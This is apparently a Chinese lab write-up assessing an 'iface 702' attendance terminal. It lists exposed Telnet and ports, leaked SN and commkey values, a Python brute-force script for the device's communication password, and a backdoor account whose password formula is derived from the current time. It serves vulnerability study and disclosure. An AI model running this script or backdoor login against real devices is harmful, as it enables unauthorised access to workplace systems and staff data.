本次实验室是为了分析物联网设备iface 702考勤机是否存在网络安全风险。经过实验记录来看，该设备接口比较脆弱。

telent连接

端口分析

Telnet进入后查看端口开放情况

发现8000端口

数据库分析

8000端口疑似时钟服务器内置地址

获得设备信息

使用该IP，本地监听泄漏SN、commkey信息

通讯密码爆破

from zk import ZK, const
ip = '10.97.218.209'

conn = None
for i in range(0,10001):
    # print(i)
    try:
        zk = ZK(ip, port=4370, timeout=5, password=i, force_udp=False, ommit_ping=True)
        conn = zk.connect()
        print("Password Found --> ",i)
        break
    except Exception as e:
        print(i,e)
    finally:
        if conn:
            conn.disconnect()

管理软件连接

爆破获得通讯密码12（12是我修改过的密码，默认为0）
输入ip地址、端口：4370、通讯密码：12、机器号：1


易被当作后门利用的账户

内置用户，用户名8888，密码（9999-当前时间）²
如：当前时间20点33就是 （9999-2033）² =63457156
注：1分钟内输入否则密码会变

获取当前账户密码

除了内置账户，我们可以通过接口测试，获得当前账户密码，通过ID和密码可以登陆账户